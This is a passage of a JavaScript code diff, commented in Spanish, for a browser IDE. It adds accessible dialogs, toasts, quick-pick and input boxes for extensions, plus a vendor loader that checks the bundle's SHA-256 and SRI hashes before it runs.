59+ return new Promise(resolve => {
60+ loadCss();
61+ document.getElementById(id)?.remove();
62+ const previo = document.activeElement;
63+ const fondo = el('div', 'x2-backdrop');
64+ fondo.id = id;
65+ const caja = el('div', 'x2-modal');
66+ caja.setAttribute('role', 'dialog');
67+ caja.setAttribute('aria-modal', 'true');
68+ const h = el('h2', 'x2-modal-title', title);
69+ h.id = uid('x2-title');
70+ caja.setAttribute('aria-labelledby', labelledBy || h.id);
71+ caja.appendChild(h);
72+ const desc = [];
73+ for (const p of [].concat(body).filter(x => x != null && x !== '')) {
74+ const n = typeof p === 'string' ? el('p', 'x2-modal-text', p) : p;
75+ if (!n.id) n.id = uid('x2-desc');
76+ desc.push(n.id);
77+ caja.appendChild(n);
78+ }
79+ if (code != null) {
80+ const c = typeof code === 'string' ? el('div', 'x2-code', code) : code;
81+ if (!c.id) c.id = uid('x2-desc');
82+ desc.push(c.id);
83+ // con teclado también se puede recorrer (y leer) entera
84+ c.tabIndex = 0;
85+ caja.appendChild(c);
86+ }
87+ for (const n of [].concat(after).filter(Boolean)) caja.appendChild(n);
88+ if (desc.length) caja.setAttribute('aria-describedby', desc.join(' '));
89+ const fila = el('div', 'x2-modal-buttons');
90+ const botones = buttons.map(b => {
91+ const x = button(b.label, 'x2-btn' + (b.primary ? ' x2-primary' : ''));
92+ if (b.className) x.classList.add(b.className);
93+ if (b.disabled) { x.setAttribute('aria-disabled', 'true'); x.title = b.disabled; }
94+ x.onclick = async () => {
95+ if (x.getAttribute('aria-disabled') === 'true') return;
96+ if (typeof b.onClick === 'function') { const keep = await b.onClick(x); if (keep) return; }
97+ cerrar(b.value);
98+ };
99+ fila.appendChild(x);
100+ return x;
101+ });
102+ caja.appendChild(fila);
103+ fondo.appendChild(caja);
104+ let hecho = false;
105+ function cerrar(v) {
106+ if (hecho) return;
107+ hecho = true;
108+ abiertos.delete(cancelar);
109+ fondo.remove();
110+ document.removeEventListener('keydown', teclas, true);
111+ if (previo && previo.isConnected && typeof previo.focus === 'function') previo.focus();
112+ resolve(v);
113+ }
114+ const cancelar = () => cerrar(cancelValue);
115+ abiertos.add(cancelar);
116+ // el foco no sale del diálogo (Tab da la vuelta) y Escape cancela
117+ function teclas(e) {
118+ if (!fondo.isConnected) return;
119+ if (e.key === 'Escape') { e.preventDefault(); e.stopPropagation(); cerrar(cancelValue); return; }
120+ if (e.key === 'Tab') {
121+ const fs = [...caja.querySelectorAll('button, input, textarea, [tabindex="0"]')].filter(x => !x.disabled);
122+ if (!fs.length) return;
123+ const i = fs.indexOf(document.activeElement);
124+ const j = e.shiftKey ? (i <= 0 ? fs.length - 1 : i - 1) : (i === fs.length - 1 ? 0 : i + 1);
125+ e.preventDefault();
126+ fs[j].focus();
127+ }
128+ }
129+ document.addEventListener('keydown', teclas, true);
130+ fondo.addEventListener('mousedown', e => { if (e.target === fondo) cerrar(cancelValue); });
131+ document.body.appendChild(fondo);
132+ (botones[focus] || botones[0])?.focus({ preventScroll: true });
133+ caja.scrollTop = 0;
134+ });
135+}
136+
137+// Atrapa Tab dentro de `caja` (da la vuelta) y cierra con Escape desde
138+// cualquier sitio de ella, no solo desde su campo de texto.
139+function atrapa(caja, cerrar) {
140+ caja.addEventListener('keydown', e => {
141+ if (e.key === 'Escape') { e.preventDefault(); e.stopPropagation(); cerrar(); return; }
142+ if (e.key !== 'Tab') return;
143+ const fs = [...caja.querySelectorAll('button, input, textarea, [tabindex="0"]')].filter(x => !x.disabled && !x.hidden && x.getClientRects().length);
144+ if (!fs.length) return;
145+ const i = fs.indexOf(document.activeElement);
146+ e.preventDefault();
147+ fs[e.shiftKey ? (i <= 0 ? fs.length - 1 : i - 1) : (i === fs.length - 1 ? 0 : i + 1)].focus();
148+ });
149+}
150+
151+// La tecla que lleva a los avisos (y vuelve de ellos): desde el editor, el
152+// chat o el panel, como F6 en VS Code. Solo se usa mientras hay alguno.
153+export const TOAST_KEY = 'F6';
154+
155+export class ExtUI {
156+ constructor({ nameOf = id => id, log = () => {}, statusbar = () => document.getElementById('statusbar') } = {}) {
157+ this.nameOf = nameOf;
158+ this.log = log;
159+ this.statusbar = statusbar;
160+ this.toasts = []; // { el, resolve }
161+ this.sent = []; // instantes de los últimos avisos (para el tope por minuto)
162+ this.dialogBusy = false;
163+ this.pickBusy = null; // { req, close }
164+ this.progress = new Map(); // id → texto
165+ this.dropped = { notify: 0, dialog: 0, pick: 0, clipboard: 0 };
166+ this.closers = new Set();
167+ this.volver = null; // dónde estaba el foco antes de ir a un aviso
168+ this.tecla = null; // el oyente de F6
169+ this.entrada = null; // la entrada de la paleta de Code
170+ }
171+
172+ origin(source) {
173+ const n = source ? this.nameOf(source) : null;
174+ return n ? tx('x2From', { name: n }) : tx('x2FromAny');
175+ }
176+
177+ // ── llegar a los avisos con el teclado: F6 y la paleta de Code ──
178+ focusToast() {
179+ const t = this.toasts.at(-1)?.el;
180+ if (!t) return false;
181+ if (!t.contains(document.activeElement)) this.volver = document.activeElement;
182+ t.querySelector('.x2-toast-buttons button')?.focus();
183+ return true;
184+ }
185+ backFromToast() {
186+ const v = this.volver;
187+ this.volver = null;
188+ if (v && v.isConnected && v !== document.body && v.getClientRects().length && typeof v.focus === 'function') { v.focus(); return; }
189+ const ed = globalThis.monaco?.editor?.getEditors?.().find(e => document.getElementById('editor')?.contains(e.getContainerDomNode()));
190+ if (ed) ed.focus(); else document.getElementById('prompt')?.focus();
191+ }
192+ keyboard(on) {
193+ if (on && !this.tecla) {
194+ this.tecla = e => {
195+ // (con un diálogo abierto, su foco no se suelta: primero se contesta él)
196+ if (e.key !== TOAST_KEY || e.altKey || e.ctrlKey || e.metaKey || !this.toasts.length || document.querySelector('.x2-backdrop')) return;
197+ e.preventDefault();
198+ e.stopPropagation();
199+ if (document.getElementById('x2-toasts')?.contains(document.activeElement)) this.backFromToast();
200+ else this.focusToast();
201+ };
202+ document.addEventListener('keydown', this.tecla, true);
203+ } else if (!on && this.tecla) { document.removeEventListener('keydown', this.tecla, true); this.tecla = null; }
204+ // en la paleta de Code (window.elffussClaw.commands), mientras haya avisos
205+ const lista = globalThis.window?.elffussClaw?.commands;
206+ if (on && !this.entrada && Array.isArray(lista)) {
207+ this.entrada = { label: tx('x2FocusToast'), hint: TOAST_KEY, x2: 'ui', run: () => { const p = document.getElementById('palette'); if (p) p.hidden = true; this.focusToast(); } };
208+ lista.push(this.entrada);
209+ } else if (!on && this.entrada) {
210+ const i = Array.isArray(lista) ? lista.indexOf(this.entrada) : -1;
211+ if (i >= 0) lista.splice(i, 1);
212+ this.entrada = null;
213+ }
214+ }
215+
216+ // ── avisos ──
217+ notify({ sev = 'info', text, actions = [], source }) {
218+ const now = Date.now();
219+ this.sent = this.sent.filter(t => now - t < 60000);
220+ if (this.toasts.length >= MAX_TOASTS || this.sent.length >= TOASTS_PER_MINUTE) {
221+ this.dropped.notify++;
222+ this.log('warn', `a notification was not shown (more than ${MAX_TOASTS} on screen or ${TOASTS_PER_MINUTE} a minute): ${String(text).slice(0, 120)}`, source);
223+ return Promise.resolve(null);
224+ }
225+ this.sent.push(now);
226+ loadCss();
227+ let box = document.getElementById('x2-toasts');
228+ if (!box) {
229+ box = el('div');
230+ box.id = 'x2-toasts';
231+ box.setAttribute('aria-live', 'polite');
232+ document.body.appendChild(box);
233+ }
234+ return new Promise(resolve => {
235+ const t = el('div', 'x2-toast x2-' + (['info', 'warning', 'error'].includes(sev) ? sev : 'info'));
236+ t.setAttribute('role', sev === 'error' ? 'alert' : 'status');
237+ t.appendChild(el('div', 'x2-toast-from', this.origin(source)));
238+ t.appendChild(el('div', 'x2-toast-text', String(text)));
239+ // (para el lector de pantalla: cómo llegar a sus botones desde el editor)
240+ if (actions.length) t.appendChild(el('span', 'x2-sr', tx('x2ToastHint', { key: TOAST_KEY })));
241+ const fila = el('div', 'x2-toast-buttons');
242+ let hecho = false, reloj = null, encima = false, antes = null;
243+ const entry = { el: t, resolve: null };
244+ // sin botones se va solo, pero no mientras el ratón o el foco estén en él
245+ const arma = () => { clearTimeout(reloj); if (!actions.length && !encima && !t.contains(document.activeElement)) reloj = setTimeout(() => fin(null), TOAST_AUTOCLOSE); };
246+ const fin = v => {
247+ if (hecho) return;
248+ hecho = true;
249+ clearTimeout(reloj);
250+ const conFoco = t.contains(document.activeElement);
251+ t.remove();
252+ this.toasts = this.toasts.filter(x => x !== entry);
253+ this.closers.delete(entry.resolve);
254+ // el foco vuelve a donde estaba (nunca se queda en <body>)
255+ if (conFoco) { if (antes && antes.isConnected && antes.getClientRects().length) { this.volver = null; antes.focus(); } else this.backFromToast(); }
256+ if (!this.toasts.length) this.keyboard(false);
257+ resolve(v);
258+ };
259+ entry.resolve = () => fin(null);
260+ this.closers.add(entry.resolve);
261+ actions.forEach((a, i) => { const b = button(a, 'x2-btn' + (i === 0 ? ' x2-primary' : '')); b.onclick = () => fin(i); fila.appendChild(b); });
262+ const x = button('×', 'x2-toast-close');
263+ x.setAttribute('aria-label', tx('x2Dismiss'));
264+ x.onclick = () => fin(null);
265+ fila.appendChild(x);
266+ t.appendChild(fila);
267+ t.addEventListener('mouseenter', () => { encima = true; clearTimeout(reloj); });
268+ t.addEventListener('mouseleave', () => { encima = false; arma(); });
269+ t.addEventListener('focusin', e => { clearTimeout(reloj); if (!t.contains(e.relatedTarget)) antes = this.volver || e.relatedTarget || antes; });
270+ t.addEventListener('focusout', e => { if (!t.contains(e.relatedTarget)) setTimeout(arma, 0); });
271+ t.addEventListener('keydown', e => { if (e.key === 'Escape') { e.preventDefault(); e.stopPropagation(); fin(null); } });
272+ box.appendChild(t);
273+ this.toasts.push(entry);
274+ this.keyboard(true);
275+ arma();
276+ });
277+ }
278+
279+ // ── diálogo modal (showXMessage con {modal: true}) ──
280+ async dialog({ sev = 'info', text, detail, buttons = [], cancel, source }) {
281+ if (this.dialogBusy) { this.dropped.dialog++; this.log('warn', 'a second dialog was refused while one is open', source); return null; }
282+ this.dialogBusy = true;
283+ try {
284+ const v = await modal({
285+ title: this.origin(source),
286+ body: [el('p', 'x2-modal-text x2-' + sev, String(text)), detail ? el('p', 'x2-modal-detail', String(detail)) : null].filter(Boolean),
287+ buttons: [...buttons.map((label, i) => ({ label, value: i, primary: i === 0 })), { label: cancel || tx('x2Cancel'), value: null }],
288+ cancelValue: null,
289+ focus: buttons.length, // el foco empieza en cancelar
290+ });
291+ return v;
292+ } finally { this.dialogBusy = false; }
293+ }
294+
295+ // ── selector rápido (showQuickPick) ──
296+ pick({ req, items, options = {}, source }) {
297+ if (this.pickBusy) { this.dropped.pick++; this.log('warn', 'a second quick pick was refused while one is open', source); return Promise.resolve(null); }
298+ loadCss();
299+ return new Promise(resolve => {
300+ const previo = document.activeElement;
301+ const many = options.canPickMany === true;
302+ const caja = el('div', 'x2-pick');
303+ caja.id = 'x2-pick';
304+ caja.setAttribute('role', 'dialog');
305+ caja.setAttribute('aria-modal', 'true');
306+ const titulo = el('div', 'x2-pick-title', options.title || this.origin(source));
307+ titulo.id = uid('x2-pick-t');
308+ caja.setAttribute('aria-labelledby', titulo.id);
309+ const inp = el('input', 'x2-pick-input');
310+ inp.type = 'text';
311+ inp.autocomplete = 'off';
312+ inp.spellcheck = false;
313+ inp.placeholder = options.placeHolder || (many ? tx('x2PickMany') : tx('x2PickOne'));
314+ inp.setAttribute('role', 'combobox');
315+ inp.setAttribute('aria-expanded', 'true');
316+ inp.setAttribute('aria-autocomplete', 'list');
317+ const lista = el('div', 'x2-pick-list');
318+ lista.id = uid('x2-pick-l');
319+ lista.setAttribute('role', 'listbox');
320+ if (many) lista.setAttribute('aria-multiselectable', 'true');
321+ inp.setAttribute('aria-controls', lista.id);
322+ inp.setAttribute('aria-label', options.title || options.placeHolder || tx('x2PickOne'));
323+ const pie = el('div', 'x2-pick-foot');
324+ const ok = button(tx('x2Ok'), 'x2-btn x2-primary');
325+ const no = button(tx('x2Cancel'));
326+ pie.append(no, ok);
327+ if (!many) ok.hidden = true;
328+ caja.append(titulo, inp, lista, pie);
329+ document.body.appendChild(caja);
330+
331+ const marcados = new Set(items.map((it, i) => (it && !it.sep && it.picked ? i : -1)).filter(i => i >= 0));
332+ let visibles = [], sel = 0, hecho = false;
333+ const fin = v => {
334+ if (hecho) return;
335+ hecho = true;
336+ caja.remove();
337+ document.removeEventListener('mousedown', fuera, true);
338+ this.pickBusy = null;
339+ this.closers.delete(cerrarYa);
340+ if (previo && previo.isConnected && typeof previo.focus === 'function') previo.focus();
341+ resolve(v);
342+ };
343+ const cerrarYa = () => fin(null);
344+ this.closers.add(cerrarYa);
345+ this.pickBusy = { req, close: cerrarYa };
346+ const fuera = e => { if (!caja.contains(e.target)) fin(null); };
347+ setTimeout(() => document.addEventListener('mousedown', fuera, true), 0);
348+ const coincide = (it, q) => !q || [it.label, options.matchOnDescription ? it.description : '', options.matchOnDetail ? it.detail : '']
349+ .some(s => typeof s === 'string' && s.toLowerCase().includes(q));
350+ const pinta = () => {
351+ const q = inp.value.trim().toLowerCase();
352+ lista.replaceChildren();
353+ visibles = [];
354+ let grupo = null;
355+ items.forEach((it, i) => {
356+ if (!it) return;
357+ if (it.sep !== undefined) { grupo = it.sep; return; }
358+ if (!coincide(it, q)) return;
359+ if (grupo !== null) {
360+ const g = el('div', 'x2-pick-sep', grupo);
361+ g.setAttribute('role', 'presentation');
362+ lista.appendChild(g);
363+ grupo = null;
364+ }
365+ const n = visibles.length;
366+ const row = el('div', 'x2-pick-item');
367+ row.id = `${lista.id}-${n}`;
368+ row.setAttribute('role', 'option');
369+ row.dataset.i = String(i);
370+ if (many) { const c = el('span', 'x2-check', marcados.has(i) ? '☑' : '☐'); c.setAttribute('aria-hidden', 'true'); row.appendChild(c); }
371+ const t = el('span', 'x2-pick-label', it.label);
372+ row.appendChild(t);
373+ if (it.description) row.appendChild(el('span', 'x2-pick-desc', it.description));
374+ if (it.detail) row.appendChild(el('div', 'x2-pick-detail', it.detail));
375+ row.onclick = () => { sel = n; if (many) { alterna(i); } else fin(i); };
376+ lista.appendChild(row);
377+ visibles.push(i);
378+ });
379+ if (!visibles.length) lista.appendChild(el('div', 'x2-pick-empty', tx('x2PickNone')));
380+ sel = Math.min(sel, Math.max(0, visibles.length - 1));
381+ marca();
382+ };
383+ const marca = () => {
384+ const filas = [...lista.querySelectorAll('.x2-pick-item')];
385+ filas.forEach((r, n) => {
386+ const i = Number(r.dataset.i);
387+ r.classList.toggle('sel', n === sel);
388+ r.setAttribute('aria-selected', String(many ? marcados.has(i) : n === sel));
389+ if (many) r.setAttribute('aria-checked', String(marcados.has(i)));
390+ });
391+ if (filas[sel]) { inp.setAttribute('aria-activedescendant', filas[sel].id); filas[sel].scrollIntoView({ block: 'nearest' }); }
392+ else inp.removeAttribute('aria-activedescendant');
393+ };
394+ const alterna = i => {
395+ if (marcados.has(i)) marcados.delete(i); else marcados.add(i);
396+ const fila = lista.querySelector(`.x2-pick-item[data-i="${i}"] .x2-check`);
397+ if (fila) fila.textContent = marcados.has(i) ? '☑' : '☐';
398+ marca();
399+ };
400+ ok.onclick = () => fin([...marcados].sort((a, b) => a - b));
401+ no.onclick = () => fin(null);
402+ inp.oninput = () => { sel = 0; pinta(); };
403+ // Tab no sale del selector y Escape lo cierra desde cualquier parte
404+ atrapa(caja, () => fin(null));
405+ inp.onkeydown = e => {
406+ if (e.key === 'ArrowDown' || e.key === 'ArrowUp') {
407+ e.preventDefault();
408+ if (!visibles.length) return;
409+ sel = (sel + (e.key === 'ArrowDown' ? 1 : -1) + visibles.length) % visibles.length;
410+ marca();
411+ // con varias a elegir, Espacio marca la resaltada aunque haya filtro
412+ // (el filtro se escribe sin espacios; lo dice el texto de ayuda)
413+ } else if (e.key === ' ' && many) { e.preventDefault(); if (visibles.length) alterna(visibles[sel]); }
414+ else if (e.key === 'Enter') {
415+ e.preventDefault();
416+ if (many) fin([...marcados].sort((a, b) => a - b));
417+ else if (visibles.length) fin(visibles[sel]);
418+ }
419+ };
420+ pinta();
421+ inp.focus();
422+ });
423+ }
424+
425+ // ── cuadro de texto (showInputBox) ──
426+ input({ req, options = {}, source }) {
427+ if (this.pickBusy) { this.dropped.pick++; this.log('warn', 'an input box was refused while another one is open', source); return Promise.resolve(null); }
428+ loadCss();
429+ return new Promise(resolve => {
430+ const previo = document.activeElement;
431+ const caja = el('div', 'x2-pick x2-inputbox');
432+ caja.id = 'x2-input';
433+ caja.setAttribute('role', 'dialog');
434+ caja.setAttribute('aria-modal', 'true');
435+ const titulo = el('div', 'x2-pick-title', options.title || this.origin(source));
436+ titulo.id = uid('x2-input-t');
437+ caja.setAttribute('aria-labelledby', titulo.id);
438+ const inp = el('input', 'x2-pick-input');
439+ inp.type = options.password ? 'password' : 'text';
440+ inp.autocomplete = 'off';
441+ inp.spellcheck = false;
442+ inp.placeholder = options.placeHolder || '';
443+ inp.value = typeof options.value === 'string' ? options.value : '';
444+ const ayuda = el('div', 'x2-input-prompt', options.prompt || tx('x2InputHint'));
445+ ayuda.id = uid('x2-input-p');
446+ const error = el('div', 'x2-input-error', options.validation || '');
447+ error.id = uid('x2-input-e');
448+ error.setAttribute('role', 'alert');
449+ error.hidden = !options.validation;
450+ inp.setAttribute('aria-describedby', ayuda.id + ' ' + error.id);
451+ inp.setAttribute('aria-label', options.title || options.prompt || tx('x2InputHint'));
452+ if (options.validation) inp.setAttribute('aria-invalid', 'true');
453+ const pie = el('div', 'x2-pick-foot');
454+ const ok = button(tx('x2Ok'), 'x2-btn x2-primary');
455+ const no = button(tx('x2Cancel'));
456+ pie.append(no, ok);
457+ caja.append(titulo, inp, ayuda, error, pie);
458+ document.body.appendChild(caja);
459+ let hecho = false;
460+ const fin = v => {
461+ if (hecho) return;
462+ hecho = true;
463+ caja.remove();
464+ document.removeEventListener('mousedown', fuera, true);
465+ this.pickBusy = null;
466+ this.closers.delete(cerrarYa);
467+ if (previo && previo.isConnected && typeof previo.focus === 'function') previo.focus();
468+ resolve(v);
469+ };
470+ const cerrarYa = () => fin(null);
471+ this.closers.add(cerrarYa);
472+ this.pickBusy = { req, close: cerrarYa };
473+ const fuera = e => { if (!caja.contains(e.target)) fin(null); };
474+ setTimeout(() => document.addEventListener('mousedown', fuera, true), 0);
475+ ok.onclick = () => fin(inp.value);
476+ no.onclick = () => fin(null);
477+ atrapa(caja, () => fin(null));
478+ inp.onkeydown = e => { if (e.key === 'Enter') { e.preventDefault(); fin(inp.value); } };
479+ inp.focus();
480+ inp.select();
481+ });
482+ }
483+
484+ // la extensión canceló su selector o su cuadro (token)
485+ cancel(req) { if (this.pickBusy && this.pickBusy.req === req) this.pickBusy.close(); }
486+
487+ // ── progreso, en la barra de estado ──
488+ setProgress({ id, text, done }) {
489+ if (done) this.progress.delete(id); else this.progress.set(id, text);
490+ const bar = this.statusbar();
491+ if (!bar) return;
492+ let p = document.getElementById('x2-progress');
493+ if (!this.progress.size) { p?.remove(); return; }
494+ if (!p) {
495+ loadCss();
496+ p = el('span', 'x2-progress');
497+ p.id = 'x2-progress';
498+ p.setAttribute('role', 'status');
499+ bar.appendChild(p);
500+ } else if (p.parentNode !== bar) bar.appendChild(p);
501+ const textos = [...this.progress.values()].filter(Boolean);
502+ p.textContent = '⟳ ' + (textos[textos.length - 1] || tx('x2Working')) + (this.progress.size > 1 ? ` (+${this.progress.size - 1})` : '');
503+ }
504+
505+ // ── portapapeles: solo con un gesto reciente del usuario ──
506+ async clipboard(text, source) {
507+ if (typeof text !== 'string') return false;
508+ if (!userActive()) {
509+ this.dropped.clipboard++;
510+ this.log('warn', 'a clipboard write without a recent click or key press was dropped', source);
511+ return false;
512+ }
513+ try { await navigator.clipboard.writeText(text.slice(0, 500000)); return true; }
514+ catch { this.log('warn', 'the browser refused the clipboard write', source); return false; }
515+ }
516+
517+ dispose() {
518+ for (const c of [...this.closers]) { try { c(); } catch { /* — */ } }
519+ this.closers.clear();
520+ for (const t of [...this.toasts]) { try { t.resolve(); } catch { /* — */ } }
521+ this.keyboard(false);
522+ document.getElementById('x2-toasts')?.remove();
523+ closeModals();
524+ this.progress.clear();
525+ document.getElementById('x2-progress')?.remove();
526+ }
527+}
added web/js/ext2/vendor-manifest.json +43 −0
@@ -0,0 +1,43 @@
1+{
2+ "schema": 1,
3+ "enabled": true,
4+ "buildId": "ad4bdda82184c442",
5+ "protocol": 1,
6+ "library": "@codingame/monaco-vscode-api@37.3.11",
7+ "vscode": "1.138.0",
8+ "node": "25.6.1",
9+ "lockfileSha256": "4fe85d70914a5376ba736842e98f62f156703c53e4ce30c7f1fa315bd621e2a0",
10+ "budgetGz": 2800000,
11+ "totalGz": 2558822,
12+ "files": [
13+ {
14+ "name": "sandbox-main.js",
15+ "role": "main",
16+ "raw": 7565470,
17+ "gz": 1941656,
18+ "sha256Raw": "d57f9067985e83362ff45e0d871d3d32d170d42b3ceaa8d7d8efff20a92ca4df",
19+ "sriGz": "sha256-SvXy9LU48B28Hh1yynV0+SkPO+rkNpb7KcN9FRDHgps="
20+ },
21+ {
22+ "name": "exthost-worker.js",
23+ "role": "extensionHostWorkerMain",
24+ "raw": 1920808,
25+ "gz": 505644,
26+ "sha256Raw": "d4117af133319a30aff564c821d32b79891a933f9e5e259b64ff33e75ad183f1",
27+ "sriGz": "sha256-M3OmHxsVQFwoICkaBq6V0VOcWZLwM1OPzbIzxKtE6WI="
28+ },
29+ {
30+ "name": "editor-worker.js",
31+ "role": "editorWorkerService",
32+ "raw": 378631,
33+ "gz": 111522,
34+ "sha256Raw": "3d9cd774e4391edab9bd15aa4c2ff873377f754abc7c1e30a0beb882f1fc21b8",
35+ "sriGz": "sha256-35z/FRORb3wTxJr50SK13+KS1EkUUPjwOGAiHvci7Go="
36+ }
37+ ],
38+ "licenses": {
39+ "name": "LICENSES.txt",
40+ "bytes": 29786,
41+ "sha256": "3125b824ee2513799b9995e67ffda102588af9f3f2862912c74b6412790684b1"
42+ }
43+}
added web/js/ext2/vendor.js +101 −0
@@ -0,0 +1,101 @@
1+// El bundle del nivel 2 (VS Code sin interfaz que corre el código de las
2+// extensiones): manifiesto, tamaño y descarga VERIFICADA.
3+//
4+// Cada fichero se baja con su SRI (el navegador rechaza un .gz distinto), se
5+// descomprime aquí con DecompressionStream y se comprueba la sha256 de los
6+// bytes crudos contra el manifiesto. Cualquier diferencia, o el interruptor
7+// «enabled: false» del manifiesto, para el nivel 2 sin arrancar nada a medias.
8+// Funciona aunque un proxy añada su propia compresión de transporte.
9+
10+import { sandboxOrigin } from './config.js';
11+
12+const MANIFIESTO = new URL('./vendor-manifest.json', import.meta.url);
13+const BASE = new URL('../../vendor/x2/', import.meta.url);
14+export const ROLES = ['main', 'extensionHostWorkerMain', 'editorWorkerService'];
15+
16+const fallo = (code, msg, extra = {}) => Object.assign(new Error(msg), { code, ...extra });
17+const hex = buf => [...new Uint8Array(buf)].map(b => b.toString(16).padStart(2, '0')).join('');
18+
19+export function validManifest(m) {
20+ const ok = m && m.schema === 1 && typeof m.enabled === 'boolean' && /^[0-9a-f]{16}$/.test(m.buildId) && m.protocol === 1
21+ && Array.isArray(m.files) && m.files.length === ROLES.length
22+ && m.files.every(f => f && /^[a-z-]+\.js$/.test(f.name) && ROLES.includes(f.role)
23+ && Number.isSafeInteger(f.raw) && f.raw > 0 && Number.isSafeInteger(f.gz) && f.gz > 0
24+ && /^[0-9a-f]{64}$/.test(f.sha256Raw) && /^sha256-[A-Za-z0-9+/]{43}=$/.test(f.sriGz))
25+ && new Set(m.files.map(f => f.role)).size === ROLES.length;
26+ return !!ok;
27+}
28+
29+let manifiesto = null;
30+export async function loadManifest({ signal } = {}) {
31+ manifiesto ??= (async () => {
32+ let r;
33+ try { r = await fetch(MANIFIESTO, { cache: 'no-cache', credentials: 'same-origin', signal }); }
34+ catch (e) { throw fallo('network', 'no pude leer el manifiesto del nivel 2: ' + (e?.message || e)); }
35+ if (!r.ok) throw fallo('network', 'manifiesto del nivel 2: HTTP ' + r.status);
36+ const m = await r.json().catch(() => null);
37+ if (!validManifest(m)) throw fallo('manifest', 'manifiesto del nivel 2 no válido');
38+ return m;
39+ })().catch(e => { manifiesto = null; throw e; });
40+ return manifiesto;
41+}
42+
43+// Lo que se bajaría la primera vez (los .gz juntos), para enseñarlo ANTES.
44+export const runtimeBytes = m => m.files.reduce((n, f) => n + f.gz, 0);
45+
46+async function inflar(gz) {
47+ const flujo = new Blob([gz]).stream().pipeThrough(new DecompressionStream('gzip'));
48+ return new Response(flujo).arrayBuffer();
49+}
50+
51+// → [{ role, name, bytes: ArrayBuffer }] con los bytes crudos ya verificados
52+export async function loadVendor(m, { onProgress = () => {}, signal } = {}) {
53+ if (!m.enabled) throw fallo('disabled', 'el nivel 2 está desactivado en este despliegue');
54+ const total = runtimeBytes(m);
55+ let hecho = 0;
56+ return Promise.all(m.files.map(async f => {
57+ const url = new URL(`${m.buildId}/${f.name}.gz`, BASE);
58+ let r;
59+ try { r = await fetch(url, { integrity: f.sriGz, cache: 'default', credentials: 'same-origin', signal }); }
60+ catch (e) {
61+ if (e?.name === 'AbortError') throw e;
62+ // un SRI que no cuadra también acaba aquí (TypeError): se trata como integridad
63+ throw fallo('integrity', `${f.name}: no se pudo bajar o no coincide con su SRI`, { file: f.name });
64+ }
65+ if (!r.ok) throw fallo('network', `${f.name}: HTTP ${r.status}`, { file: f.name });
66+ const gz = await r.arrayBuffer();
67+ hecho += f.gz;
68+ onProgress(hecho, total);
69+ let bytes;
70+ try { bytes = await inflar(gz); } catch { throw fallo('integrity', `${f.name}: el .gz no se descomprime`, { file: f.name }); }
71+ if (bytes.byteLength !== f.raw || hex(await crypto.subtle.digest('SHA-256', bytes)) !== f.sha256Raw) {
72+ throw fallo('integrity', `${f.name}: la sha256 no coincide con el manifiesto`, { file: f.name });
73+ }
74+ return { role: f.role, name: f.name, bytes };
75+ }));
76+}
77+
78+// ── ¿se puede aquí, y cuánto pesa? (lo que se enseña ANTES de encender nada) ──
79+export const RUNTIME_KEY = 'elffusscode.x2.runtime';
80+
81+// v1: Chrome y Edge (ancestorOrigins para el apretón de manos, Navigation API
82+// para que el recinto no navegue, DecompressionStream para el bundle)
83+export function supported(w = globalThis) {
84+ try {
85+ return !!(w.location && 'ancestorOrigins' in w.location && w.navigation && typeof w.DecompressionStream === 'function'
86+ && w.crypto?.subtle && typeof w.MessageChannel === 'function' && w.HTMLElement && 'inert' in w.HTMLElement.prototype);
87+ } catch { return false; }
88+}
89+// ?noext apaga todas las extensiones; ?noext2, solo su código
90+export const disabledByUrl = (search = globalThis.location?.search || '') => /[?&]noext2?(?:[=&]|$)/.test(search);
91+
92+export async function runtimeInfo() {
93+ if (disabledByUrl()) return { available: false, reason: 'url' };
94+ if (!supported()) return { available: false, reason: 'browser' };
95+ if (!sandboxOrigin()) return { available: false, reason: 'site' };
96+ const m = await loadManifest();
97+ if (!m.enabled) return { available: false, reason: 'off' };
98+ let cached = false;
99+ try { cached = localStorage.getItem(RUNTIME_KEY) === m.buildId; } catch { /* sin almacenamiento */ }
100+ return { available: true, bytes: runtimeBytes(m), buildId: m.buildId, cached };
101+}
modified web/js/ide.js +17 −0
@@ -96,6 +96,9 @@
9696 return tabs.filter(t => !t.model.isDisposed()).map(t => ({ path: t.path, language: t.model.getLanguageId(), active: t.path === active }));
9797 }
9898 export const languageOfPath = p => langOf(p);
99+// El nivel 2 (ext2/docs.js) necesita los MODELOS de Monaco, no solo su lenguaje:
100+// pares [ruta, modelo]. Va aparte porque el panel usa la forma de arriba.
101+export const openTabModels = () => tabs.filter(t => !t.model.isDisposed()).map(t => [t.path, t.model]);
99102
100103 export async function openFile(path) {
101104 let tab = tabs.find(t => t.path === path);
@@ -186,9 +189,23 @@
186189 return '<!doctype html>\n' + doc.documentElement.outerHTML;
187190 }
188191
192+// Guardián opcional de la vista previa HTML (lo pone el nivel 2 de extensiones);
193+// si falla o dice que no, se vuelve al código.
194+let beforePreview = null;
195+export function setBeforePreview(fn) { beforePreview = typeof fn === 'function' ? fn : null; }
196+async function previewAllowed(path) {
197+ if (!beforePreview) return true;
198+ try { return (await beforePreview(path)) === true; } catch { return false; }
199+}
200+
189201 async function applyView() {
190202 const tab = tabs.find(t => t.path === active);
191203 const lang = tab ? langOf(tab.path) : null;
204+ if (tab && tab.preview && lang === 'html' && !(await previewAllowed(tab.path))) {
205+ tab.preview = false;
206+ renderTabs();
207+ return applyView();
208+ }
192209 const showPreview = !!(tab && tab.preview && PREVIEWABLE.has(lang));
193210 $('editor').style.display = showPreview ? 'none' : '';
194211 let pane = document.getElementById('md-preview-pane');
modified web/js/main.js +3 −2
@@ -3086,7 +3086,7 @@
30863086 const q = raw.slice(1).trim().toLowerCase();
30873087 // Todo comando cierra la paleta al ejecutarse: «Nueva conversación», por
30883088 // ejemplo, la dejaba abierta encima.
3089- palItems = COMMANDS.filter(c => c.label.toLowerCase().includes(q)).map(c => ({ label: c.label, hint: t('palCmd'), run: () => { closePalette(); c.run(); } }));
3089+ palItems = COMMANDS.filter(c => c.label.toLowerCase().includes(q)).map(c => ({ label: c.label, hint: c.hint || t('palCmd'), run: () => { closePalette(); c.run(); } }));
30903090 } else if (raw.startsWith('@')) { // símbolos del archivo abierto (Monaco)
30913091 palItems = [{ label: t('palGotoSym'), hint: '@', run: () => { closePalette(); conFichero(() => triggerEditor('editor.action.quickOutline'))(); } }];
30923092 } else { // archivos (con :línea opcional)
@@ -3328,7 +3328,8 @@
33283328 rebuildSelect();
33293329 skills.initSkills();
33303330 boot();
3331-window.elffussClaw = { conv, get agent() { return conv.getActive()?.agent; }, send, openFile, parseToolCall, skills };
3331+// commands: la lista de la paleta (>), donde el nivel 2 pone los de extensiones
